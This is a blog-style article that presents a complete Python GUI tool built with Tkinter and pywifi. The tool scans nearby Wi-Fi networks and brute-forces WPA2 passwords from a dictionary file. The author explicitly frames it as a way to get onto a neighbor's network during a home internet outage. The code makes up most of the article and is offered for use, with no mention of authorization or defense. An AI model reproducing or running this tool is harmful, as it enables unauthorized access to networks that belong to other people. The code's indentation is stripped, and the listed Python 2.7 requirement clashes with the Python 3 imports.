Information Security 13 min read

WiFi Password Cracking Tool Using Python and PyWiFi

This article demonstrates how to build a Python GUI tool with Tkinter and the PyWiFi library to scan nearby Wi‑Fi networks, load a password dictionary, and perform brute‑force attempts to discover the correct Wi‑Fi password, including environment setup, code snippets, and execution results.

Top Architect
Top Architect
Top Architect
WiFi Password Cracking Tool Using Python and PyWiFi

The author introduces a practical scenario where a home internet outage prompts the need to access a neighbor's Wi‑Fi using a password‑cracking script written in Python.

Python’s extensive third‑party libraries include pywifi , which provides a convenient API for Wi‑Fi operations; combined with a password dictionary, it enables brute‑force attacks given sufficient patience.

Idea : Iterate over each password in the dictionary for a given SSID, attempting to connect; on failure, disconnect and try the next password until a successful connection is made.

Environment Preparation :

Python 2.7

pywifi module

Password dictionary file

Import Modules :

from pywifi import *

Dictionary Preparation : Use a text file containing the top 10 weak Wi‑Fi passwords, one per line, which the script reads sequentially.

Full Code (GUI with Tkinter):

# coding:utf-8
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog
import tkinter.messagebox
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
# password file path
self.get_value = StringVar()
# Wi‑Fi SSID
self.get_wifi_value = StringVar()
# Wi‑Fi password
self.get_wifimm_value = StringVar()
self.wifi = pywifi.PyWiFi()
self.iface = self.wifi.interfaces()[0]
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
def set_init_window(self):
self.init_window_name.title("WIFI破解工具")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200, text="配置")
labelframe.grid(column=0, row=0, padx=10, pady=10)
self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
# ... (UI layout omitted for brevity) ...
def scans_wifi_list(self):
print("^_^ 开始扫描附近wifi...")
self.iface.scan()
time.sleep(15)
scanres = self.iface.scan_results()
self.show_scans_wifi_list(scanres)
return scanres
def show_scans_wifi_list(self, scans_res):
for index, wifi_info in enumerate(scans_res):
self.wifi_tree.insert("", 'end', values=(index+1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)
def readPassWord(self):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
self.pwdfilehander = open(self.getFilePath, "r", errors="ignore")
while True:
try:
self.pwdStr = self.pwdfilehander.readline()
if not self.pwdStr:
break
self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
if self.bool1:
self.res = "===正确===  wifi名:%s  匹配密码:%s " % (self.get_wifissid, self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo('提示', '破解成功!!!')
print(self.res)
break
else:
self.res = "---错误--- wifi名:%s匹配密码:%s" % (self.get_wifissid, self.pwdStr)
print(self.res)
time.sleep(3)
except:
continue
def connect(self, pwd_Str, wifi_ssid):
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid
self.profile.auth = const.AUTH_ALG_OPEN
self.profile.akm.append(const.AKM_TYPE_WPA2PSK)
self.profile.cipher = const.CIPHER_TYPE_CCMP
self.profile.key = pwd_Str
self.iface.remove_all_network_profiles()
self.tmp_profile = self.iface.add_network_profile(self.profile)
self.iface.connect(self.tmp_profile)
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED:
isOK = True
else:
isOK = False
self.iface.disconnect()
time.sleep(1)
assert self.iface.status() in [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
ui.set_init_window()
init_window.mainloop()
gui_start()

The program displays a simple GUI where users can select a Wi‑Fi network, load a password file, and start the cracking process; successful attempts are shown in a message box and printed to the console.

Result : After running the tool, the correct password (if present in the dictionary) is displayed, allowing the user to connect to the target Wi‑Fi network.

PythonWiFinetwork securityTkinterPassword Crackingpywifi
Top Architect
Written by

Top Architect

Top Architect focuses on sharing practical architecture knowledge, covering enterprise, system, website, large‑scale distributed, and high‑availability architectures, plus architecture adjustments using internet technologies. We welcome idea‑driven, sharing‑oriented architects to exchange and learn together.

0 followers
Reader feedback

How this landed with the community

login Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.